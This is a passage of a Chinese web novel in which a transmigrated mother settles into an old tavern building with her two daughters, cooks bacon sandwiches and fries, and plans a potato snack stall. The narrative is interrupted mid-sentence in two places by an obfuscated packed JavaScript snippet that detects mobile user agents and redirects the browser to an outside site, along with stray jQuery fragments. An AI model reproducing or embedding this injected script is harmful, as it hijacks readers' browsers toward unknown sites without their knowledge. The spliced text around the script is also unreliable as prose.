灶台对面的墙上钉了五层长长的橡木置物架,架子两端各摆放了一个顶天立地的橱柜。 架子最下方,一排背篓和陶缸整齐排放,角落里堆了六七个温酒的泥炉。 灶台和置物架中间,也是厨房的中心位置,放置了一张橡木长桌,当料理台使用。 抛开斑驳墙壁、低矮天花板、生锈灯架不提,尤兰达粗略扫过这一方空间,勉强能说一句满意。 很宽敞,四个成年人穿梭其中不显拥挤,完全满足基础操作。 穿过厨房,走向另一端挂了帘子的拱形门,绕过积灰的木质柜台和酒架,正式进入店面经营区域。 店面四四方方,约120多平,配一个公共大壁炉,三扇不大的窗口开在高处,是以采光不好,空气也不太流通。 冬日里有利保温取暖,搁在夏季难免昏暗憋闷。 店门位于西南角,靠近柜台和厨房门,东南角有楼梯通向二楼,一脚踩上去发出令人心惊的“咯吱”声。 二楼比一楼采光好太多,将近170平的总面积,分割出六个大小不一的卧室和一间公共休息室,每间设有一个小巧壁炉和一小扇窗口,满足客人住宿、社交需求。 租户搬走后,装饰物和家具桌椅一并搬走,一眼望过去,稍显磕碜。 三楼没什么可看的,和她从外面观察的一致。 单说这间临街的店铺,缺点不少,优点也特别明显——大 从城门一路过来时她就发现了,不管哪条街,凡是做餐饮的,铺面都比其他商店开阔一倍不止。 尤兰达从厨房后门退出来,走向后院。 后院做为生产生活区域,对比前面的铺子略显紧凑,好在麻雀虽小五脏俱全。 柴棚、工具房、仓库房、杂物棚,一块杂草丛生的菜地,一间木板搭建的简易旱厕,以及一栋茅草屋顶的二层砖石小楼。 小楼做为店主一家的住宅使用,也会是她们未来的住处。 尤兰达粗略扫一眼院子,径直来到小楼前,踢开虚掩的屋门,捂住口鼻走进去。 一楼分割出一间主卧室和一个公共起居区,二楼分出两间卧室,三间卧室都砌了壁炉,各配一张光秃秃的床架子和斗柜。 院子几经租赁,陈旧在所难免,所幸原身收房时严格检查,不影响她们正常使用,打扫打扫就能住人。 比起流落街头等死,能住进这样的房子算万幸,只等换上新陶瓦便能重新经营。 至于以后靠什么糊口,尤兰达决定重操旧业——开饭馆。 当然,饭馆不是说开立刻就能开起来的,少说需要筹备一两个月。 换瓦片、订菜单、买食材、采购家具厨具、市议厅办理手续等事项少不了要办,期间,囤积过冬物物资差不多也该提上日程。 仔细盘算,桩桩件件全是事,全都要花钱、花时间、花精力。 她不缺精力和时间,就差钱,很多钱。 不说采购的钱,单拎出一个预缴税金,就够她愁的了。 黑森王国又一令人费解的规定,商铺开业前,需向有关行会预缴一个月的税金,少补多不退的那种。 还没赚钱呢,先交出去一堆税,槽多无口。 再三思索,尤兰达决定从小吃摊干起,赚钱攒钱,赶在冬季来临前把饭馆开起来。 “老鼠!有老鼠!” “上帝啊,该死的老鼠!我要回家呜呜呜……” 尤兰达想着怎么尽快安顿下来,院子里忽然爆发出女孩们的吱哇乱叫。 她快步跑进院子,就见两个女孩狼狈地跳上石磨,扯着嗓门用声波攻击老鼠。 又惨又好笑。 尤兰达忍笑拿来扫把挥舞两下,告诉她们已经赶跑了老鼠。 两个女孩哭唧唧确认半天,一脸后怕地跳下来。 菲奥娜惊魂未定:“妈妈,爸爸不要我们了,你什么时候给我们找新爸爸?我不想住在这里。” 西芙拉心疼地摸了摸被老鼠抓勾丝的裙摆,连连点头:“菲奥娜说的对,我们应该有新的爸爸了。” 尤兰达:…… 可真是她的好女儿啊。 尤兰达板起脸,模仿原身的语调:“我想你们应该闭上嘴巴。好了,去井边打水,我们要在天黑前把卧室打扫出来。” 一听要自己动手打扫卫生,两个女孩立刻撅起嘴。 尤兰达双手叉腰,眼睛一瞪,两人不敢吱声,缩着脖子去车马棚。 见她们磨磨蹭蹭走远,尤兰达撤回脸上的怒容,轻叹一口气。 她暂时没能学会怎么和她们相处,幸好原身的威严尚在,还能震住两人。 打来井水,分发清扫工具,尤兰达迫不及待推开所有门窗通风。 待空气里的怪味散去一些,她裹紧头巾,穿上围裙,高举长柄扫帚,搅掉房檐屋角的蛛网,扫去梁上的浮尘,湿抹布一遍遍擦洗床架和斗柜。 三下五除二,一楼主卧和起居区域打扫干净,她快步回到马车上,翻找出床幔和被褥。 床幔挽个圈扎起,轻轻扯松,床板铺上羊皮毡和亚麻床单,薄被与枕头丢上床,卧室看起来像点样子了。 尤兰达还想继续搬行李,肚子忽然咕咕叫。抬头探出窗一看,日头高挂,该吃早饭了。 刚想到这里,二楼传来“咚”的一声重响,尤兰达不放心,脚步一转,上楼查看。 楼梯爬了一半,不等踏入二楼区域,她就沉默了。 眼前的景象只能说不出她预料。 西芙拉和菲奥娜徒劳地挥舞扫帚,满屋灰尘乱飞,空气质量直线下降。 “停停停!听我的,先扫走高处的灰尘……”尤兰达及时阻止了她们的无效劳动,简明扼要讲解打扫顺序和原因,抛出诱惑:“我去准备早餐,什么时候清理完灰尘,我们什么时候开饭。” 西芙拉拍打身上的蛛丝,表情痛苦又期待:“妈妈,是昨晚那个、那个……”她卡住了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200980|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不起新奇食物的名字。 “无米蛋炒饭?”尤兰达接过话头,“不,早饭吃三明治。” “嗷——”菲奥娜失望地嗷一嗓子,“我喜欢昨晚的炒饭。” 她摸向自己被束腰勒紧的腰腹,吞咽口水,“等我脱了这玩意儿,我发誓我能多吃一大碗!” 因长久的节食和束腰的限制,母女三人的饭量十分小,昨晚那份“无米蛋炒饭”她们努力了半天,最后仍剩下不少。 “如果你们今天表现不错,”她抛出诱饵,“晚餐可以考虑再吃一次。” 一剂强心针扎下来,两位灰头土脸的小姐瞬间干劲满满。 尤兰达转身下楼,径直来到马车旁。 翻找出需要的东西,搬来泥炉放在院中空地,随后去柴房扒出几根上任租户遗落的木柴,放入干草用燧石点燃。 几次失败尝试,火苗终于蹿起,火势稳定后,尤兰达快速架上陶锅。 放上培根片,小火慢煎至香气四溢、微微卷曲后,借着底油打入三枚鸡蛋,煎成边缘带漂亮焦圈的荷包蛋,先后盛出备用。 陶锅无需清洗,挪至一旁放凉后添水,再架回泥炉上烧到水面冒热气,撕下几片卷心菜嫩叶下锅荡一荡,烫去生涩即可。 倒掉热水后,只需调成小火融化黄油,厚切的白面包片平铺锅底,没一会就吸饱了淡黄乳脂,变得绵软。 熄掉柴火,借着锅内余温,金黄的煎蛋、焦香的培根、翠绿的卷心菜叶依次铺进去,放几片新鲜番茄,饱满厚实的培根煎蛋三明治便完成了。 简单用刀身按压紧实,斜切成两半,露出层次分明的馅料,摆进干净餐盘里,倒上三杯葡萄汁,这就是母女三人的早餐。 三明治省时省事,花费时间不如翻找工具的时间多。 “妈妈,我们扫完了,真的扫完了!”楼上传来西芙拉和菲奥娜雀跃的呼喊。 两人慢吞吞擦拭门窗,回味无米蛋炒饭的滋味,直到院中传来滋啦滋啦的动静,趴上窗口一张望,热烈的油脂香气快勾走了她们的魂。 原来三明治是这个味道。 她们加速动作,紧赶慢赶才赶上食物出锅。 噔噔噔,两个女孩飞奔下楼,像雨过天晴的赛里木湖一样的蓝眼睛,巴巴黏着餐盘。 “干得不错,”尤兰达端着托盘进了屋子,“去洗手,开饭吧。” 她们欢呼一声,冲到水桶边囫囵擦了擦手又冲回屋子,抓起三明治大口咬下去。 只一瞬间,她们的眼睛瞪得溜圆,含着三明治忘记了咀嚼。 食材简单平常,口感意外的丰富扎实,脆与软、咸与鲜、温与凉,搭配的完美,既不干柴也不腻人。 细细咀嚼几下,食材充分交融,培根的咸香在舌尖蔓延,番茄的微酸掺和柔软的蛋黄,包裹住绿叶菜的清新,焦脆的煎蛋带着奇异的弹牙感。融进面包的黄油若有似无,恨不得多咬上两口好好品味。 两人大口大口吞咽,腮帮子鼓囊囊。 没一会,她们彼此对视一眼,默契地放下三明治,抱起裙摆跑上楼。 尤兰达疑惑看向两人。 菲奥娜含糊不清地说:“我现在就要脱掉该死的束腰。” 西芙拉补充:“它影响我们享用三明治了。” 尤兰达哭笑不得,新的想法随之冒出脑海。 摆摊卖三明治或许可行。 5. 第 5 章 “妈妈,你一定是天使,只有天使才能变出这么美味的食物。” “我发誓,即使皇宫舞会的烤鹿肉、烤孔雀摆在我面前,也不会比三明治更吸引我。” 两个女儿神情餍足,抱着鼓胀的肚子,不遗余力地吹捧。 尤兰达冒出一身鸡皮疙瘩。 俩小老外确实没吃过什么好东西,一顿三明治轻松拿捏。 没见过世面好啊,她的小吃摊大有可为。 西芙拉打了饱嗝,嘀咕:“真奇怪,为什么以前没觉得培根香香的?” 菲奥娜自信接话:“笨蛋姐姐,以前料理培根的是厨娘,她的厨艺没有妈妈的厉害。” 姐妹俩叽叽咕咕,尤兰达听完,心虚地抹了抹脑门。 幸好原身自诩身份尊贵,从不下厨。 刚松一口气,随即心念一动,尤兰达想起另一件事。 培根、火腿、肉肠、咸肉、鲜肉这类食材,是富裕人家才能常享的奢侈,从尼尔森家带出的食材虽然数量不少,却支撑不起一门生意。 除非她找到培根的平替,做出便宜的三明治。 可再便宜,三明治所需的白面包不能少,比起酸溜溜的黑麦面包,白面包价格高出好几个铜币。 成本拉高了,定价不可能低,寻常人消费不起,冒然动作大概率赔本。 她手里的三瓜俩枣,进货采买食材的钱都扣不出来,再赔底裤就没了。 才起了摆摊卖三明治的念头,一顿饭不到,直接打消。 最后一滴葡萄汁喝完,餐具堆进井边的洗碗盆,留待攒够草木灰一起清洗。 母女三人歇息片刻,重新投入新居打扫。 她们合力将一台台箱笼陆续搬进屋,领走各自的物品去收拾。 皮箱铺上粗麻布充当床头桌;藤箱塞满厚毛毯皮毡,一举托上衣柜顶;烛台、银镜与洗漱用具各归其位;天鹅绒窗帘拍去浮灰高高挂起。 起居室,油灯摆上矮柜,沙漏立于壁炉台,陶壶茶杯端上木桌,地毯平铺靠椅前。 只半天工夫,她们的新家大变样,温馨又舒适。 连西芙拉、菲奥娜都停下抱怨,欣赏她们的劳动成果,成就感满满。 “接下来,”尤兰达挽起袖子宣布,“该打扫厨房了。” 尝过无米蛋炒饭和三明治的滋味,两个女孩尤为重视厨房的清洁工作,一人拎着桶,一人拿上扫帚,无需催促,撸起袖子冲进去。 “我的上帝啊,它们真恶心。” 西芙拉皱巴着脸擦拭灶台的黑灰和油污,恨不得扔了手里抹布。 “妈妈,窑炉里面会不会有老鼠?” 菲奥娜拿着扫帚当武器,这里捣捣那里挥挥,不敢靠近半步。 行,能干活就好,吐槽几句无妨。 尤兰达对她们的要求不高,见两人有模有样地打扫,绕去前门推开门窗通风换气。 霎时间,数道光束斜斜射入,墙壁上经年累月被油灯熏出的痕迹清晰可见,夯土地面的坑洼一目了然。 尤兰达驻足店门口,回身望了望矮人巷。 小巷店铺多不胜数,不规律的嘈杂交织出市井旋律。 她倚上溪边栏杆,侧身朝矮人巷所在的主街贝壳街望去。 贝壳街坐落于平民区,天气好的时候人声鼎沸。 背箩筐卖蔬果的、推小车的卖日用品的、挎着篮子卖果酱、鲜花的,叫卖声此起彼伏。几个孩童欢笑着奔跑经过,紧追前方缓慢行进的骆驼商队。 人声、车轮声、牲畜的响鼻声混杂,鲜活的人间烟火气扑面而来。 挺好,人流量大,开饭馆不愁没人光顾。 她又抬头望向天边。 明媚阳光慷慨挥洒,大团云朵慵懒停泊于天边。 巷子口的橡树枝桠在风里摇晃,投下跳跃的光斑,门前溪水奔流不息,溅起碎银般的水沫。 尤兰达仿佛闯进了流动的油画。 “夫人,要买木柴吗?有橡木、松木、秸秆以及木柴球,长期订购有优惠。” 正观察未来的生活环境,半大的孩子冷不丁冒出来兜售木柴。 尤兰达乐了,原来这时候就有上门推销业务。 她习惯性拒绝,一张口想起柴房剩下的零散木头不够烧下顿饭的,遂改口:“一捆多少钱?” 背着麻布小包的孩子流利报价:“橡木一捆55铜币,松木一捆15铜币,秸秆只需10铜币。木柴球适合当引子,一个1铜币。买点吧,夫人,我们可以送货上门。” 木柴放在当下时代属于民生物资,只要划分进民生物资,定价权就和商人、市场没关系了,全部由政府掌控。木柴行会起到监管的作用,顺便规定死了一捆木柴的长度和重量。 商人售卖时不能随意调整价格,平民采买时无需讨价还价,顶多受气候和季节影响整体波动,省去了货比三家的麻烦。 如果实在舍不得那几个铜币,可以花一天半天去其他伯爵领地采买,税率比皇城低,同样价格到手的木柴能多出几根,买越多越划算。 “一捆松木两捆秸秆,天黑前能送来吗?” 松木一捆约有15根,砍成一米长,搭配秸秆、草屑,仅做饭时使用足够她们撑上两三天。 小孩面色一喜,指了指身后店面,“不用晚祷(18:00),第九时祷(15:00)准时送来。贝壳街矮人巷北1店,对吗?夫人需要先交15铜币。” 尤兰达掏出羊皮小包数出15枚铜币,接下小孩递来的写有木柴铺名字地址的木牌,方便下午交货。 做成一单生意,小孩高兴问:“夫人,您是新搬来的吧?需要小约翰为您的铺子清粪吗?” 尤兰达神情微动,十三四岁的孩子竟然打两份工? 小孩腼腆一笑:“不,是我的朋友小约翰,他负责矮人巷北的清粪工作,每天晚祷后他会上门清收粪便,一天只需1铜币。 假如还需清洗粪桶,那么就是2铜币1天,一周一结提前付款。” 尤兰达一算价格,忍不住咋舌。仅吃喝拉撒的花费,一周的生活成本逼近100铜币。 皇城居,大不易啊。 “不雇佣清粪工我该怎么办?”她问。 “夫人得自己提着粪桶走去贝壳街尾的粪塔倾倒,那里可不近呢。” 尤兰达别无选择:“晚上带小约翰一起过来,我需要他的帮助。” 小孩更高兴了,原地蹦了蹦,“好的好心夫人,愿上帝保佑你。我叫大约翰,下午见。” 目送小孩跑远,赚钱的紧迫感瞬间攫住了尤兰达。 处处要花钱,不赚钱真没法活。 她折回厨房取来抹布与水桶,开始彻底清扫:置物架、料理台逐一擦洗,锅灶用粗麻布狠狠刮去积年的油垢。 “动作轻点孩子们,去把马车上剩下的东西搬来厨房,放桌子上我来归整。” 两个女孩应声而去,尤兰达伸展一下腰背,趁这会工夫走向后院菜园。 菜园紧挨着车马棚,四四方方约有20平,种了家家户户顿顿必备的食材。 迷迭香、罗勒叶、薄荷、百里香、香葱、韭葱,分别栽进木板钉成的长条花盆里,沿墙架起,做饭时随取随用。 香草之外,蔬菜占地最多,芥菜、欧芹、洋葱、卷心菜、芜菁、莴苣、番茄,各占一小块地。墙角的豌豆藤沿着墙壁爬满了车马棚棚顶,肆意铺展。 尤兰达敢保证,但凡有居民在自家开辟菜园子,绝对少不了种这几样。 好打理、耐储存、不挑土质,能省下不少买菜钱。 菜地与杂物棚之间杵着一棵柠檬树,枝头挂满沉甸甸的果实,眼看要由青转黄。 杂物棚与工具房和仓库的屋顶相连,上面的葡萄藤纵横交错,叶片足有巴掌大。 熟烂的果子东一堆西一堆掉落在木板屋顶上,引来鸟雀哄抢,啾鸣声与“咄咄”的叨食声响交替出现。 推开仓库和工具房的门,里面堆了不少农具和陶缸,仓库一角有洞口通向地窖。 尤兰达下去瞧了一眼,面积不大,适合储藏酒水。 越收拾,她越喜欢这一方小院,穿越前她哪有机会过上自给自足的田园生活啊。 也多亏了原身的“斤斤计较”和“不好说话”,收房时强硬要求租户大清扫,替她省了不少麻烦。 拔草、浇水、清理烂果和鸟粪,粗略收拾一下,后院干净整洁。 此时太阳当头照,两个女孩早搬完了行李,躲进起居室打盹。 尤兰达没有叫醒她们,去厨房归置厨具。 这是她安身立命的战场,自己亲手布置用起来才顺手。 三口铁锅放入灶眼,多出的一口灶眼放铜锅,专门烧热水。 这里的人习惯靠葡萄汁和啤酒解渴,对尤兰达来说太腻,远不如白开水有效。 陶锅、铜锅放在灶台边方便更换,调味料摆上料理桌中央,小麦、大麦、土豆等倒进陶缸储藏,肉肠、培根挂上房梁。 尤兰达干活麻利,忙到差不多时,铛铛铛的钟声远远传来。 这是中午12点开始的第六时祷,没想到这么快又到了吃午饭的时间。 尤兰达提来小野餐篮,倒出昨夜烹煮过的土豆,决定做家常版肉汁薯条。 熟土豆放进陶碗捣成绵密的泥状,洒少许小麦粉、舀两勺橄榄油,搅拌搅拌均匀铺上陶盘,静置晾凉。 接下来是肉汁薯条的灵魂所在——调制酱汁。 新鲜的猪肉、牛肉很贵,暂时吃不起,尤兰达就地取材创新一下,选择肉酱代替。 零碎的柴火不经用,她放弃铁锅,抱来做早饭的泥炉点燃。 番茄划开十字刀痕去皮,丰腴果肉切碎放进陶锅炖煮,木勺不停画圈,少量多次倒入苹果醋、麦芽糖和粗盐调味。 酸甜适度了,直熬到汁水浓稠,挖出两勺咸肉酱混进去融合。 尤兰达尝了尝,酸得明亮,甜得柔和,咸得恰到好处,番茄味十分浓郁,配薯条吃正合适。 最后一步是炸薯条。 陶锅冲水洗净后倒入半罐猪油,等油热的工夫切一指宽的长薯条。 油面冒出细密波纹时刚好,薯条缓慢沿锅边滑入炸制定型。 “噼啪、滋啦……” 金黄的泡沫欢腾着涌起,薯条的边缘迅速变成脆壳。 - 托马斯从未觉得哪一天像今天这样难熬。 自从早上闻到一股陌生的食物香气,那香气便一直萦绕鼻尖,勾着他的心神。 像培根,又不止于培根,混合着他无法描述的、令人心头发痒的焦香。 他踮起脚绕着鞋铺院子嗅了一圈,分不清味道从哪飘来。 海螺巷的酒馆?矮人巷的面包坊?总不会是隔壁老杰克家的酒坊吧? 托马斯吞了吞唾沫,如往常一样做鞋底、划皮革。他手里动作不停,心思却全系在了香气上。 好不容易捱到早午饭时间,托马斯冲向矮人巷唯一的餐馆,咬牙点来一份加了培根碎的菠菜麦粥。 刚入口嚼两下,托马斯肉眼可见的失落——味道不对,不是这家店。 托马斯也更加确信,他早上闻到的香味绝对出自培根。 他想不通,为什么培根能散发出那样独特的油脂气味,衬得手里的麦粥都不香了。 他花了整整十个铜币呢。 托马斯味同嚼蜡,为了不浪费钱硬吃完一整碗,失魂落魄回鞋铺。 正午祷告的钟声敲响,新一轮的工作即将开始。 托马斯埋首干活,心里盘算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200981|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着晚饭去另一家酒馆探探,希望能拯救他可怜的味蕾。 正暗自祈祷,不知哪里又飘来了香气,诱人的、陌生的、他描述不出来的食物香气。 “好、好香~~”旁边的学徒亨利深吸一口气,曲起手肘碰了碰他,“嘿,托马斯,你闻到了吧?” 托马斯用力点头:“当然,我鼻子可灵了。事实上,我早上就闻到过类似的香味。” 杂役杰克加入话题:“矮人巷可没多少饭馆酒馆,我猜是海螺巷新开的店,听说很受欢迎呢,可惜我没能进去尝一尝。” 托马斯没想到这么顺利让他打听到了消息,口腔疯狂分泌唾液。 他翻了翻柜台上的木牌,有一双皮鞋订单需要晚祷前送到顾客家。 “杰克,礼服店的舞鞋我去送,这是我新做的鞋子,我想听听夫人们的意见。” 出师的学徒抢杂役的跑腿活计,说出去都没人信,托马斯强忍羞耻编借口。 杰克可太愿意了,一口应下。 托马斯抱上鞋盒一路狂奔,停在海螺巷新开的餐馆前。 他喘着气朝店里张望,眼珠子滴溜溜转。 餐馆果然受欢迎,早午饭的时间过去这么久,依然坐了七八桌食客,正抱着啤酒吹牛打牌,好不热闹。 可空气中并没有他魂牵梦萦的培根焦香。 或许是错过了饭点,没人点那道菜? 托马斯不确定,徘徊片刻后悻悻离开。 他折回矮人巷向主街走,不多时,路过矮人巷巷子口,托马斯注意到关闭许久的北1店店门此刻竟敞开着。 这家酒馆他光顾过几次,食物平平无奇,面包碗硌牙,淡啤酒味道不错。 鬼使神差的,托马斯朝门口挪了几步。 走到门前他才看清,整间铺子除了柜台,里头连张桌椅都没有,根本不像营业的样子。 托马斯耸耸肩,笑自己馋疯了。 矮人巷最不可能的就是这家店,听说房主正急着出售宅子,要价极高,掮客没少吐槽。 一家一家排除,绝对是海螺巷的甜滋滋小餐馆没错了。 晚饭一定去试试! 托马斯舔舔嘴唇,脚步轻快地跑远,仿佛已经尝到了惦记许久的滋味。 — “怎么样,好吃吗?” 尤兰达满怀期待地望向桌对面的两个女儿。 女孩们脸上残留的睡意早已被惊艳取代,忙着对付盘中的食物,挪不开嘴回应,啄米小鸡般连连点头。 尤兰达放下心来。 低配版加拿大国菜又怎样,照样能抓住洋人的胃。 反正这个世界上,大概也只有她尝过真正原版的肉汁薯条了。 西芙拉眼疾手快,抢下最后一根薯条,滚满浓稠的殷红酱汁,啊呜一口塞进嘴里,眼睛眯成了月牙。 菲奥娜控诉几句,索性夺过陶盘,指尖蘸起盘底残余的酱汁送到嘴边。 “妈妈,它叫什么名字?”她贪婪地嗦着指尖,追问,“你是怎么想到做出这样的味道?太令人惊喜了。” 尤兰达的回答听不出半点心虚:“肉汁薯条,我新研究的菜品。” 西芙拉捧着脸,语气激动:“妈妈,你的手一定被上帝吻过。” 尤兰达谦虚微笑,暗暗纠正:不,上帝没有吻过她的手,只是掉包了灵魂。 忽悠完两个孩子,尤兰达转身去翻箩筐。 置物架下的藤筐满的几乎溢出来,全是从尼尔森家带来的土豆,做成手指粗、筷子长的大薯条,摆摊卖上两三天不成问题。 土豆做为餐桌主食之一,价格受到政府严格管控,大部分时候1银币可以买来两麻袋土豆,约20公斤左右,十分便宜。 转瞬间,尤兰达便敲定了土豆作为小吃摊的核心食材。 土豆好啊,煎、炸、蒸、煮、烤、炒、炖……花样繁多,怎么做都好吃,且价格亲民,耐储存。 考虑到外国佬的口味偏好,以及小吃摊需要出餐快、易携带、复购率高的特点,尤兰达的脑海里立刻浮现出家喻户晓的快餐巨头M记。 做为M记复购机器、销冠之王,薯条配番茄酱的经典组合早已超越单纯的佐餐关系,深植人心,成为一种近乎本能的文化符号与味觉记忆。 其背后所展现的商业生命力与市场号召力,堪称惊人。 有现成的、历经全球市场验证的成功案例摆在眼前,不“参考借鉴”一下,实在说不过去。 只一个番茄酱不够,多添一个蜂蜜芥末酱或者甜辣酱,更好满足不同口味。 尤兰达翻找一通,辣椒存货不多,磨成粉的芥末籽却有满满一罐。 芥菜是黑森王国全民普及的平价蔬菜,芥末顺势成了普罗大众餐桌上不可或缺的辣味调料。 当地人习惯将芥末和果醋、柠檬汁拌在一起配面包,味道以辛辣为主、酸甜为辅,冲劲十足,与她记忆中搭配炸鸡年糕等小食的甜酸风味芥末酱截然不同。 尤兰达四处搜罗,不一会找出一篮子番茄、一罐麦芽糖、一罐白醋栗酱、一罐芥末粉、洋葱几颗。熬制酱汁的主要食材,倒也凑出个七七八八。 两个女孩吃饱喝足,高高兴兴回房间补觉。尤兰达不敢睡,生怕一下午稀里糊涂睡过去耽误事。 强忍困倦打了个呵欠,尤兰达晃进后院,舀一盆燕麦倒进车马棚的石槽,打来一桶水放在一侧。 她顺毛摸了摸通体漆黑的骏马,心中惆怅:“以后叫你大G好了。” 谨以此名纪念她付了全款,却没机会提回家的某辆大G吧。 就是不知道,得知自己的爱马被人拐走,她的前任老公会不会气晕。 何况他丢失的不止一匹马。 幸灾乐祸一阵,尤兰达拿上羊皮钱包,挎着篮子出门采购。 6. 第 6 章 “午安,夫人。请问……您是这家店的新租户吗?” 锁上院门,一转身,冷不丁撞见店门前徘徊的络腮胡壮汉,尤兰达吓得瞌睡虫跑光了。 络腮胡男人搓了搓手,歉然后退两步。 中午时分,一股奇异的香气飘进了伯纳德经营的裁缝铺,上门裁衣的客人频频追问来源。 他知道的并不比客人们多多少,生意一结束,便循着气味一路嗅到了巷子口的北1号店。 伯纳德对这家酒馆很熟悉,以前的他可是常客,生意太忙顾不上吃饭时,经常遣杂役点一碗麦粥。 他探头望了望,铺子里空无一人,柜台积了厚厚一层灰。 可附近就数这里的气味最为鲜明。 店铺换新的租户了?这么香,是开饭馆的吧? 伯纳德准备进去问问,才迈开脚,身形高挑、体态丰腴的美丽女人挎着篮子掀起布帘子从厨房走出来。 出于职业习惯,伯纳德率先观察女人的衣着。 纱裙做工精致、分层细腻,外罩一件缀了蕾丝花边的亚麻布罩裙,搭在篮子边沿的手指白皙、细长。 女人身上找不到一点劳作痕迹。 好吧,他好像弄错了。 伯纳德略显尴尬的开启话题,试图为自己莽撞的行为描补一二。 对面女人闻言抬头,碧绿眼眸疏淡瞥来,“算是吧。” 尤兰达摸不清来人的意图,随口敷衍。想到两个女孩留守家中,她连店门一起锁上。 伯纳德察觉出她的戒备,指向不远处的招牌:“夫人请别误会,我是北4号店的伯纳德,经营着一家裁缝铺。” 尤兰达礼貌颔首:“尤兰达·费尔南多,下个月或者下下个月正式经营北1店。” 伯纳德十分捧场地道贺,没来由的说起上一任租户的酒馆,东拉西扯一通,直到尤兰达流露出急着离开的神色,终于切入正题: “……不知您是否闻到附近有什么特别的气味?我的客人们很好奇,老实说,我也想知道那是什么味道,它们很独特、很陌生,又很吸引人。” 尤兰达转动脑袋嗅了嗅,并没有什么独特、吸引人的味道。 她耸耸肩,爱莫能助:“我一直在打扫院子,没有注意到,多半是从别处飘来的吧。” 伯纳德遗憾地摊了摊手,道了声谢,却并未急着离开。 他依旧耸动着鼻子来回搜寻什么,嘴里念念有词: “上帝啊,这太奇怪了,明明在附近才对。” 尤兰达只觉得胡子男古古怪怪,遂加快脚步离开。 午后的贝壳街比清晨更喧闹几分。 人流攒动中,腥的、臭的、酸的、刺鼻的,各种气味野蛮交织,袭击她的鼻腔。 尤兰达不仅要忍受原身身上散发的混合香水的微馊体味,还要分心提防擦肩而过的行人,避开他们身上袭来的浓烈汗臭与狐臊。 她好不容易从一波人流中挤出来,缩进街角空旷处喘口气,没一会,一队身穿亮银铠甲、披着深蓝披风的骑士拨开人群横穿过来。 他们停在不远处的市政布告栏前,为首者展开一卷羊皮纸张贴上去。 霎时间,前后左右不知从哪儿冒出了无数人头,人潮像被磁石吸引般汹涌挤向布告栏。 尤兰达裹挟其中,眼白翻上天,险些没被熏死。 “国王下悬赏令,征召勇士前往森林深处驱赶巨人……天呐,赏金足足有100枚金币呢!” “要我说,不如去黑暗森林邀请精灵帮忙,他们身手敏捷,正好夏收结束,精灵们该来皇城屯粮食过冬了。” “糊涂的老杰克,你忘了精灵王不喜欢精灵们为人族做事吗? 不如多花点前去魔法学园请大魔法师,前几次驱赶巨人的勇士可都没能回来呢。” 巨人、精灵、魔法师……听起来可真童话。 尤兰达两眼发直,脚步虚浮地离开,很快抵达百米外一条叫泥陶巷的地方。 泥陶巷汇集了平民区大多数的陶匠工坊,大小窑炉日夜不停烧。 尚未正式进入泥陶巷,一股热烘烘、混合了黏土与柴火的气息扑面而来,沉滞而滚烫。 走进巷子,叮叮当当的敲打声、轮盘转动的嗡嗡声、还有学徒搬运时含糊的吆喝此起彼伏。 巷子两旁挤满了低矮的工坊,清一色前店后坊的格局,烧好的陶罐陶碗摆满不大的铺面。 尤兰达在一家挂着“老格伦陶器”木牌的铺子前停下脚步。 这家店原身来过,货比十几家后找出来的最具性价比的店铺。 当然,询价过后原身纠结许多天,最后也没舍得换陶瓦。 尤兰达一走进店,看店的白发灰眼睛老头当即认出她。 “哦,是你啊夫人,考虑好换陶瓦了?”老格伦擦去手上的泥浆,走出柜台招待顾客,“我想想,贝壳街矮人巷北1店是吗?你来过许多回了。” 尤兰达忍不住替原身尴尬,“……没错。” 老头抱起一沓羊皮纸,翻了好一会抽出其中一张,贴着鼻尖:“让我瞧瞧,换三楼房顶、小型弧形瓦……需要橡木板和干草防水,订购4000片,对吗?” 尤兰达忍痛点头。 老格伦工坊的小型弧形陶瓦售价1铜币5片,4000片就是800铜币,也就是8银币,刚好用光她的存款。 而且需要换瓦片的不止店铺房顶,还有母女三人居住的二层楼,陶瓦总数量起码要再翻一倍。 保守估计8000片陶瓦,全部换完说一句倾家荡产不过分。 “有回收的旧陶瓦吗?”她窘迫地问。 老格伦习以为常,面色不变:“当然有,1铜币15片,不过已经不剩多少。2000片?3000?不会更多了。” “完整的旧陶瓦有多少要多少,剩下的新陶瓦补上,一共订4000片。” 住宅的屋顶可以暂时搁置,冬季来临前换上即可,店铺的陶瓦必须先安排上。 老格伦不紧不慢记录:“好的夫人,会为您安排五位匠人,月底之前一定能完工。你得提前支付一部分铜币,我算算……” 他停顿一会,在一旁写写画画:“有了,提前付400铜币。详细费用恐怕要在最后一天结算才能确定,一般来说不会超过10银币。” 换陶瓦的钱省不掉,尤兰达利落掏出羊皮包。 “如果我支付4枚银币,”她将银币推上柜台,“能否优惠些?” 老格伦脸上的皱纹都舒展了,爽快点头:“当然,橡木板和干草的费用可以免去,怎么样?” 尤兰达微笑:“您真慷慨。” 日常生活多以铜币交易,银币较少流通,金币几乎看不见身影,是以,金银币通常用作书面记账。 比如尤兰达支付过去400枚铜币,老格伦会记作4银币。 如果支付425铜币,则记作4银币,25铜币。 铜币有贬值风险,金银币则稳定许多,大家手里但凡有点余钱,都会想办法在年底前将攒下的铜币兑换成金银币。这是所有人心照不宣的理财方式。 不过那时候,常常需要120铜币、甚至140铜币,才能从大商人手里换来1银币。 